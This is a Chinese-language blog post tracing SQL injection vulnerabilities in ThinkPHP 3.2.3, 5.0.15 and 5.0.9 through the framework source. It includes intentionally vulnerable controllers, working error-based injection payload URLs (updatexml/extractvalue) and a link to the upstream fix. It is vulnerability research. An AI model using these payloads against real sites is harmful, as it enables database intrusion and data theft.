Hu3sky's blog

Thinkphp多个版本注入分析

Word count: 1,608 / Reading time: 8 min
2019/09/24 Share

Thinkphp3.2.3

bind绕过利用save注入

payload

1
http://127.0.0.1/thinkphp3/index.php?m=Home&c=index&a=index&age[0]=bind&age[1]=0%20and%20(extractvalue(1,concat(0x7e,(select%20user()),0x7e)))

image

修改代码

1
2
3
4
5
6
7
8
9
10
11
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$age = I("GET.age");
$User = M("user"); // 实例化User对象
$data['username']= 'aa';
$User->field('username,age')->where(array('age'=>$age))->save($data);
}
}


image

我们跟进调试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
function I($name,$default='',$filter=null,$datas=null) {
static $_PUT = null;
if(strpos($name,'/')){ // 指定修饰符
list($name,$type) = explode('/',$name,2);
}elseif(C('VAR_AUTO_STRING')){ // 默认强制转换为字符串
$type = 's';
}
if(strpos($name,'.')) { // 指定参数来源
list($method,$name) = explode('.',$name,2);
}else{ // 默认为自动判断
$method = 'param';
}
switch(strtolower($method)) {
case 'get' :
$input =& $_GET;
break;
case 'post' :
$input =& $_POST;
break;
case 'put' :
if(is_null($_PUT)){
parse_str(file_get_contents('php://input'), $_PUT);
}
$input = $_PUT;
break;
case 'param' :
switch($_SERVER['REQUEST_METHOD']) {
case 'POST':
$input = $_POST;
break;
case 'PUT':
if(is_null($_PUT)){
parse_str(file_get_contents('php://input'), $_PUT);
}
$input = $_PUT;
break;
default:
$input = $_GET;
}
break;
case 'path' :
$input = array();
if(!empty($_SERVER['PATH_INFO'])){
$depr = C('URL_PATHINFO_DEPR');
$input = explode($depr,trim($_SERVER['PATH_INFO'],$depr));
}
break;
case 'request' :
$input =& $_REQUEST;
break;
case 'session' :
$input =& $_SESSION;
break;
case 'cookie' :
$input =& $_COOKIE;
break;
case 'server' :
$input =& $_SERVER;
break;
case 'globals' :
$input =& $GLOBALS;
break;
case 'data' :
$input =& $datas;
break;
default:
return null;
}
if(''==$name) { // 获取全部变量
$data = $input;
$filters = isset($filter)?$filter:C('DEFAULT_FILTER');
if($filters) {
if(is_string($filters)){
$filters = explode(',',$filters);
}
foreach($filters as $filter){
$data = array_map_recursive($filter,$data); // 参数过滤
}
}
}elseif(isset($input[$name])) { // 取值操作
$data = $input[$name];
$filters = isset($filter)?$filter:C('DEFAULT_FILTER');
if($filters) {
if(is_string($filters)){
if(0 === strpos($filters,'/')){
if(1 !== preg_match($filters,(string)$data)){
// 支持正则验证
return isset($default) ? $default : null;
}
}else{
$filters = explode(',',$filters);
}
}elseif(is_int($filters)){
$filters = array($filters);
}

if(is_array($filters)){
foreach($filters as $filter){
if(function_exists($filter)) {
$data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤
}else{
$data = filter_var($data,is_int($filter) ? $filter : filter_id($filter));
if(false === $data) {
return isset($default) ? $default : null;
}
}
}
}
}
if(!empty($type)){
switch(strtolower($type)){
case 'a': // 数组
$data = (array)$data;
break;
case 'd': // 数字
$data = (int)$data;
break;
case 'f': // 浮点
$data = (float)$data;
break;
case 'b': // 布尔
$data = (boolean)$data;
break;
case 's': // 字符串
default:
$data = (string)$data;
}
}
}else{ // 变量默认值
$data = isset($default)?$default:null;
}
is_array($data) && array_walk_recursive($data,'think_filter');
return $data;
}

首先获取method
image
然后取age值并赋值给data
image
接着看是否传入了filter
image
在手册中也是介绍了
https://www.kancloud.cn/manual/thinkphp/1841
这里就是默认的htmlspecialchars
关于该函数的一些用法

https://www.w3school.com.cn/php/func_string_htmlspecialchars.asp

image

跟入函数,最终是要调到这个call_user_func
image

调用htmlspecialchars处理后,对我们的payload影响不太大,那么继续跟
image

这里又对是数组data里的两个值exp$payload进行了think_filter函数的调用

1
2
3
4
5
6
7
8
function think_filter(&$value){
// TODO 其他安全过滤

// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}

发现bind并不在过滤范围里
接着跟save函数,获取data值
image
接着主要看update
此时的options
image
parseSet后的结果为
image

image
继续跟parseWhereItem
主要是产生一个预编译占位符,接着看parseWhere
image
继续跟parseWhereItem
在第一个点解出bind,第二个点进行拼接
image

返回的结果是

1
`age` = :0 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

执行完整个parseWhere的返回结果是

1
UPDATE `think_user` SET `username`=:0 WHERE `age` = :0 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

最后将$data['username']= 'aa';置于占位符处

find(select)注入

添加代码

1
2
3
4
5
6
7
8
9
10
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($age){
$age = I('GET.age');
$User = M("user"); // 实例化User对象
$User->find($age);
}
}

payload-1

1
http://127.0.0.1/thinkphp3/index.php?m=Home&c=index&a=index&age[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

image

首先对比两个payload

1
2
1. http://127.0.0.1/thinkphp3/index.php?m=Home&c=index&a=index&age=1'
2. http://127.0.0.1/thinkphp3/index.php?m=Home&c=index&a=index&age[where]=1'

首先是options可控

1
2
3
4
5
6
7
...
if(is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
...

控制options[where]
这里会跳过一个数据的强转
image

所以直接返回了options
image

接着回到find 跟入select
image
继续跟进
image
image
跟入parseSql
image

跟到parseWhere

image

由于where是一个字符串
image
直接跳过下面else,返回
image

接着
image
造成了sql注入

以下两个分析类似

payload-2

1
http://127.0.0.1/thinkphp3/index.php?m=Home&c=index&a=index&age[table]=think_user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

image

payload-3

1
http://127.0.0.1/thinkphp3/index.php?m=Home&c=index&a=index&age[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

image

Thinkphp5.0.15

添加如下代码

1
2
3
4
5
6
7
8
9
10
11
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$username = input('get.username/a');
$User = DB('user')->where(['id'=> 1]);
$User->insert(array('username'=>$username));
}
}

/a的意思是
image

payload

1
http://127.0.0.1/thinkphp_5.0.15_full/public/?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

image

跟入insert
image

接着跟parseData
image

image
利用forecah取值
image
接着进行判断 val[0]如果等于inc就进入
(在5.0.24中进行了修复,具体可见之前我的文章Thinkphp3个版本数据库操作以及底层代码分析
因为inc也没有被input函数过滤
image

dec同理
image

这里进行了拼接
image
经过一系列parse函数,返回了sql语句
image

修复

https://github.com/top-think/framework/commit/363fd4d90312f2cfa427535b7ea01a097ca8db1b

image

对key和val[1]做了检测
image

Thinkphp5.0.9鸡肋注入

鸡肋是因为不能进行子查询
添加代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;
use app\index\model\User;
class Index
{
public function index()
{
$ids = input('ids/a');
$t = new User();
$result = $t->where('age', 'in', $ids)->select();
}
}

/index/model/User.php

1
2
3
4
5
6
7
<?php
namespace app\index\model;
use think\Model;
class User extends Model
{
protected $table = 'think_user';
}

payload

1
http://127.0.0.1/thinkphp_5.0.9_full/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

image

跟入select
image

看到parseWhere
image
跟进buildWhere
继续跟进parseWhereItem
image

生成占位符where_age
image
继续生成,没有对key进行任何过滤,直接拼接了
image

:where_age_in_0,updatexml(0,concat(0xa,user()),0)
然后返回了要执行的预编译语句
image

select过后返回的sql语句
image
继续跟进query
image
在这里报错
image

至于为什么不能执行子查询,请移步p神
ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析

CATALOG
  1. 1. Thinkphp3.2.3
    1. 1.1. bind绕过利用save注入
    2. 1.2. find(select)注入
      1. 1.2.1. payload-1
      2. 1.2.2. payload-2
      3. 1.2.3. payload-3
  2. 2. Thinkphp5.0.15
    1. 2.1. 修复
  3. 3. Thinkphp5.0.9鸡肋注入